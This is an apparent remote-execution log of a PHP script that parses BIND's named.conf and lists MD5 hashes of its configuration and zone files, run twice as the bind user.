MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:14:30: Establishing a connection
2026-04-22 12:14:30: 

PUT: /tmp/pkp844449

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:14:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp844449; rm /tmp/pkp844449'

2026-04-22 12:14:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:14:31: Establishing a connection
2026-04-22 12:14:31: 

PUT: /tmp/pkp730455

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:14:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp730455; rm /tmp/pkp730455'

2026-04-22 12:14:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
